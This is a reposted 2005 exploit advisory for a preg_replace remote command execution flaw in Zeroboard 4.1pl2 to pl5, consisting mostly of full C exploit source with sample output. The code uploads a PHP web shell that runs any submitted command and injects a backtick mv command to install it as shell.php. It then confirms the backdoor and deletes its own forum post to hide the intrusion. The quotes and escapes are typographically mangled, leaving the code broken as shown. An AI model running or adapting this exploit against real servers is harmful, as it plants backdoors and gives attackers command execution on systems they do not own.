‘ZeroBoard Remote Command Execution (Exploit, preg_replace)’

Summary

Zeroboard is one of the most popular PHP web boards in Korea. The following exploit uses a recently reported vulnerability in Zeroboard to inject and execute PHP script on vulnerable system.’

Credit:

‘The information has been provided by n0gada.
The original article can be found at: http://pandora.sapzil.info/text/notify/20050123.zb41advisory.php


Details

Vulnerable Systems:
 * Zeroboard version 4.1pl2 to 4.1pl5

/**
———————————————————————————-
[+] Zeroboard preg_replace vulnerability Remote nobody shell exploit
———————————————————————————-
> by n0gada (n0gada@null2root.org)
[*] date : 2005/5/29
[*] the bug
Original advisory:
– http://pandora.sapzil.info/text/notify/20050123.zb41advisory.php
Application
– Zeroboard 4.1 pl2 – 4.1 pl5
Reference:
– http://www.nzeo.com

[*] Target – My test server$ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test – Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test
[+] xxx.xxx.xxx connecting ok!
[+] Zeroboard writing . ok!
[+] Confirmming your article – found!
[+] Exploiting zeroboard start …………………………. Done!
[*] Confirmming your backdoor php script – http://xxx.xxx.xxx/zboard/data/test/shell.php is generated!
[+] Exploiting success!!
[*] Remove your article – ok! 🙂

——————————————————————————
*
*/

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>

#define BUFSIZE 4096
#define READSIZE 1500

void ParseZbHost(char *);
void ConnectZboard(char *, unsigned short);
void WriteZboard(void);
void ExploitZboard(void);
void ConfirmPHPScript(void);
void DeleteArticle(void);
void StatusProcess(void);
void Usage(char *);
void OutputErr(char *, int);

char *zb_host;
char *zb_dir;
char *zb_tid;
unsigned short zb_port;

int sockfd = -1;
int reconn=0;
char ReadBuf[READSIZE];
char WriteBuf[BUFSIZE];
char TempBuf[BUFSIZ];
char no[16];

int main(int argc, char *argv[]){

if(argc < 2) Usage(argv[0]);

if(argc > 2) zb_port = atoi(argv[2]);
else zb_port = 80;

// http://host/bbs/zboard.php?id=test

ParseZbHost(argv[1]);

ConnectZboard(zb_host, zb_port);

WriteZboard();

ExploitZboard();

ConfirmPHPScript();

DeleteArticle();
}

void ParseZbHost(char *zbhost)
{
char *psbuf;
char *sptr=NULL;
char *eptr=NULL;

psbuf = malloc(strlen(zbhost)+1);

strcpy(psbuf, zbhost);

if((sptr = strstr(psbuf,’http://’)) == NULL) OutputErr(‘http://host needn’, 0);

zb_host = sptr+7;

sptr = strchr(zb_host, ‘/’);
sptr[0] = ‘’;
sptr++;

if((eptr = strstr(sptr, ‘zboard.php?id=’)) == NULL) OutputErr(”zboard.php?id=’
needn’, 0);

zb_tid = eptr+14;

eptr–;
eptr[0] = ‘’;

zb_dir = sptr;

fprintf(stdout, ‘ – Target : http://%s/%s/zboard.php?id=%sn’, zb_host, zb_dir,
zb_tid);
fflush(stdout);
}

void ConnectZboard(char *server, unsigned short port)
{

struct sockaddr_in serv;
struct hostent *hostname;

if(!(hostname = gethostbyname(server))) OutputErr(server, 1);
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) OutputErr(‘socket’, 1);

memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_port = htons(port);
serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]);
// serv.sin_addr = *((struct in_addr *)hostname->h_addr_list[0]);

if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0)
OutputErr(‘connect’, 1);

if(!reconn) fprintf(stdout,’n [+] %s connecting ok!n’, server);
else if(reconn == 1) fprintf(stdout, ‘ [+] %s reconnecting ok!n’, server);
fflush(stdout);

reconn = 0;
}

void WriteZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;
int i = 0;
int cnt=0;
char *tmp_ptr, *ptr;
char form_data[BUFSIZE];

memset(form_data, 0, sizeof(form_data));
sprintf(form_data,
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’page’rn’
‘rn’
‘1rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’id’rn’
‘rn’
‘%srn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’no’rn’
‘rn’
‘rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’select_arrange’rn’
‘rn’
‘headnumrn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’desc’rn’
‘rn’
‘ascrn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’page_num’rn’
‘rn’
‘rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’keyword’rn’
‘rn’
‘rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’category’rn’
‘rn’
‘rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’sn’rn’
‘rn’
‘offrn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’ss’rn’
‘rn’
‘onrn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’sc’rn’
‘rn’
‘onrn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’mode’rn’
‘rn’
‘writern’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’password’rn’
‘rn’
‘1212rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’name’rn’
‘rn’
‘zerorn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’email’rn’
‘rn’
‘zero@nzeo.comrn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’homepage’rn’
‘rn’
‘rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’subject’rn’
‘rn’
‘zero@nzeo.com hi~!rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’memo’rn’
‘rn’
‘`mv data/%s/d214924151d9e1ffac5bb2258561031e
data/%s/shell.php`;# 70ab423bfaea846c9db0b96126254103rn’
//’—————————–8ac34985126d8rn’
//’Content-Disposition: form-data; name=’sitelink1’rn’
//’rn’
//’rn’
//’—————————–8ac34985126d8rn’
//’Content-Disposition: form-data; name=’sitelink2’rn’
//’rn’
//’rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’file1′;
filename=’d214924151d9e1ffac5bb2258561031e’rn’
‘Content-Type: text/plainrn’
‘rn’
‘<?
if(count($_GET)) extract($_GET);
if(count($_POST)) extract($_POST);
if(count($_SERVER)) extract($_SERVER);
echo ‘<form action=$PHP_SELF method=post>
command : <input type=text name=cmd>
<input type=submit></form><hr>’;
if($cmd){
$cmd = str_replace(‘\\’, ”, $cmd);
echo ‘<pre>’; system($cmd); echo ‘</pre>’;
}
?>rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’file2′; filename=”rn’
‘Content-Type: application/octet-streamrn’
‘rn’
‘rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’x’rn’
‘rn’
’36rn’
‘—————————–8ac34985126d8rn’
‘Content-Disposition: form-data; name=’y’rn’
‘rn’
’11rn’
‘—————————–8ac34985126d8–rn’
, zb_tid, zb_tid, zb_tid);

memset(WriteBuf, 0, sizeof(WriteBuf));

sprintf(WriteBuf,
‘POST /%s/write_ok.php HTTP/1.1rn’
‘Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*rn’
‘Referer: http://%s/%s/write.php?id=%s&page=1&sn1=&divpage=1&
sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=&
mode=write&sn1=&divpage=1rn’
‘Content-Type: multipart/form-data; boundary=—————————8ac34985126d8rn’
‘Accept-Encoding: gzip, deflatern’
‘User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)rn’
‘Host: %srn’
‘Content-Length: %drn’
‘Connection: Keep-Alivern’
‘Cache-Control: no-cachern’
‘rn”%s’, zb_dir, zb_host, zb_dir, zb_tid, zb_host, strlen(form_data), form_data);

fprintf(stdout, ‘ [+] Zeroboard writing ‘);
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr(‘write’, 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

memset(ReadBuf, 0, sizeof(ReadBuf));

if(i!=0xb33f) StatusProcess();

FD_SET(sockfd, &fds);

if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr(‘select’, 1);
if(FD_ISSET(sockfd, &fds)){

if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr(‘read’, 1);

if(strstr(ReadBuf, ‘HTTP/1.1 ‘)){
if(strstr(ReadBuf+17, ‘Connection: closern’)) reconn = 1;

if(strstr(ReadBuf+9, ‘200 OKrn’)) {
err++;
}
else if(strstr(ReadBuf+9, ‘404 Not Foundrn’)){
OutputErr(‘ failed!(page not found)n’, 0);
}
else if(strstr(ReadBuf+9, ‘400 Bad Requestrn’)){
OutputErr(‘ failed!(Bad Request)n’, 0);
}
else {
OutputErr(ReadBuf, 0);
}

}

if(err == 0){

if(strstr(ReadBuf,'<meta http-equiv=’refresh’ content=’0; url=zboard.php?id=’))
{
fprintf(stdout, ‘ ok!n’);
fflush(stdout);

fprintf(stdout,’ [+] Confirmming your article’);
fflush(stdout);

if(tmp_ptr = strstr(ReadBuf+18, ‘url=’)) {

ptr = tmp_ptr+4;
if(ptr != NULL){
if(tmp_ptr = strchr(ptr,”’)) tmp_ptr[0] = ‘’;
}
}
if(ptr = strstr(ReadBuf,’=&no=’)){
ptr += 5;
memset(no, 0, sizeof(no));
for(i=0; i<16; i++){
if(ptr[i] == ‘&’) break;
no[i] = ptr[i];
}
}
if(strlen(no) > 0){
fprintf(stdout,’ – found!n’);
fflush(stdout);
return;
}
else {
OutputErr(‘ – failed!(not writed!?!)n’, 0);
}
}
else {
if(strstr(ReadBuf,’Total Excuted Time :’) && strstr(ReadBuf,’x30x0dx0ax0dx0a’)) break;
}
}
else {
OutputErr(‘err number errorn’, 0);
}
}
}

fprintf(stderr, ‘ error!n’);

}

void ExploitZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;

if(reconn == 1) ConnectZboard(zb_host, zb_port);

memset(WriteBuf, 0, sizeof(WriteBuf));

sprintf(WriteBuf,
‘GET /%s/view.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&
sc=on&keyword=70ab423bfaea846c9db0b96126254103/e’
, zb_dir, zb_tid);

memcpy(WriteBuf+strlen(WriteBuf), ‘x25x30x30’, 3);

sprintf(WriteBuf+strlen(WriteBuf),
‘&select_arrange=headnum&desc=asc&no=%s HTTP/1.1rn’
‘Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*rn’
‘Referer: http://%s/%s/zboard.phprn’
‘Accept-Encoding: gzip, deflatern’
‘User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)rn’
‘Host: %srn’
‘Connection: Keep-Alivern’
‘rn’, no, zb_host, zb_dir, zb_host);

fprintf(stdout, ‘ [+] Exploiting zeroboard start ‘);
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr(‘write’, 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

StatusProcess();

memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr(‘select’, 1);
if(FD_ISSET(sockfd, &fds)){

if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr(‘read’, 1);

if(strstr(ReadBuf, ‘HTTP/1.1 ‘)){

if(strstr(ReadBuf,’Connection: closern’)) reconn = 1;

if(strstr(ReadBuf+9, ‘200 OKrn’)) {
err++;
}
else if(strstr(ReadBuf+9, ‘404 Not Foundrn’)){
OutputErr(‘ failed!(page not found)n’, 0);
}
else if(strstr(ReadBuf+9, ‘400 Bad Requestrn’)){
OutputErr(‘ failed!(Bad Request)n’, 0);
}
else {
OutputErr(ReadBuf, 0);
}

}

if(err >= 0){

if(strstr(ReadBuf,’Total Excuted Time :’) && strstr(ReadBuf, ‘x30x0dx0ax0dx0a’)){
fprintf(stdout,’ Done!n’);
fflush(stdout);
return;
}

}

}
}

fprintf(stderr,’ error!n’);

}

void ConfirmPHPScript(void)
{
fd_set fds;
struct timeval tv;

if(reconn == 1) ConnectZboard(zb_host, zb_port);

memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
‘GET /%s/data/%s/shell.php HTTP/1.1rn’
‘Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*rn’
‘Referer: http://%s/%s/zboard.phprn’
‘Accept-Encoding: gzip, deflatern’
‘User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)rn’
‘Host: %srn’
‘Connection: Keep-Alivern’
‘rn’, zb_dir, zb_tid, zb_host, zb_dir, zb_host);

fprintf(stdout, ‘ [*] Confirmming your backdoor php script’);
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr(‘write’, 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){
memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr(‘select’, 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr(‘read’, 1);

if(strstr(ReadBuf, ‘HTTP/1.1 ‘)){
if(strstr(ReadBuf,’Connection: closern’)) reconn = 1;

if(strstr(ReadBuf+9, ‘200 OKrn’)) {
fprintf(stdout,’ – http://%s/%s/data/%s/shell.php is generated!n
[+] Exploiting success!!n’, zb_host, zb_dir, zb_tid);
fflush(stdout);
return;
}
else if(strstr(ReadBuf+9, ‘404 Not Foundrn’)){
OutputErr(‘ – page not foundn – ‘mv’ instruction permission denied.n
– zeroboard was patched.n’
‘ [-] Exploit failed!n’, 0);
}
else if(strstr(ReadBuf+9, ‘400 Bad Requestrn’)){
OutputErr(‘ – Bad Requestn’
‘ [-] Exploit failed!n’, 0);
}
else {
OutputErr(ReadBuf, 0);
}
}

}
}

fprintf(stderr,’ error!n’);
}

void DeleteArticle(void)
{
fd_set fds;
struct timeval tv;
char post_data[BUFSIZ];

if(reconn == 1) ConnectZboard(zb_host, zb_port);

sprintf(post_data,
‘page=1&id=%s&no=%s&select_arrange=headnum’, ‘&desc=asc&page_num=20&keyword=&
category=&sn=off&ss=off&sc=on&mode=&c_no=’, ‘&password=1212&x=20&y=9rn’, zb_tid, no);

memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
‘POST /%s/delete_ok.php HTTP/1.1rn’
‘Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*rn’
‘Referer: http://%s/%s/delete.php?id=%s&page=1&sn1=&divpage=1&
sn=off&ss=off&sc=on&select_arrange=headnum&desc=asc&no=%srn’
‘Content-Type: application/x-www-form-urlencodedrn’
‘Accept-Encoding: gzip, deflatern’
‘User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)rn’
‘Host: %srn’
‘Content-Length: %drn’
‘Connection: closern’
‘Cache-Control: no-cachern’
‘rn’
‘%s’, zb_dir, zb_host, zb_dir, zb_tid, no, zb_host, strlen(post_data), post_data);

fprintf(stdout, ‘ [*] Remove your article ‘);
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr(‘write’, 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);

if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr(‘select’, 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr(‘read’, 1);

if(strstr(ReadBuf, ‘HTTP/1.1 ‘)){
if(strstr(ReadBuf+9, ‘200 OKrn’)) {

if(strstr(ReadBuf+17, ‘<meta http-equiv=’refresh’ content=’0; url=zboard.php?id=’)) {
fprintf(stdout, ‘ – ok! :)n’);
fflush(stdout);
return;
}
else{
break;
}
}
else if(strstr(ReadBuf+9, ‘404 Not Foundrn’)){
OutputErr(‘ – failed!(page not found)n’, 0);
}
else if(strstr(ReadBuf+9, ‘400 Bad Requestrn’)){
OutputErr(‘ – failed!(Bad Request)n’, 0);
}
else {
fprintf(stderr,’%s’, ReadBuf);
exit(1);
}
}

}
}

fprintf(stderr,’ error!n’);
}

void StatusProcess(void)
{
putchar(‘.’);
fflush(stdout);
}

void OutputErr(char *msg, int type)
{
if(!type){
fprintf(stderr,’%s’, msg);
fflush(stderr);
}
else if(type==1){
if(!strcmp(msg, zb_host)) herror(msg);
else perror(msg);
}

DeleteArticle();
exit(1);
}

void Usage(char *arg)
{
fprintf(stderr,'[*] Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gadan’);
fprintf(stderr,’————————————————————————–n’);
fprintf(stderr,’Usage: %s <SERVER> [PORT – default : 80] n’, arg);
fprintf(stderr,’————————————————————————–n’);

exit(1);
}’

Categories: Exploits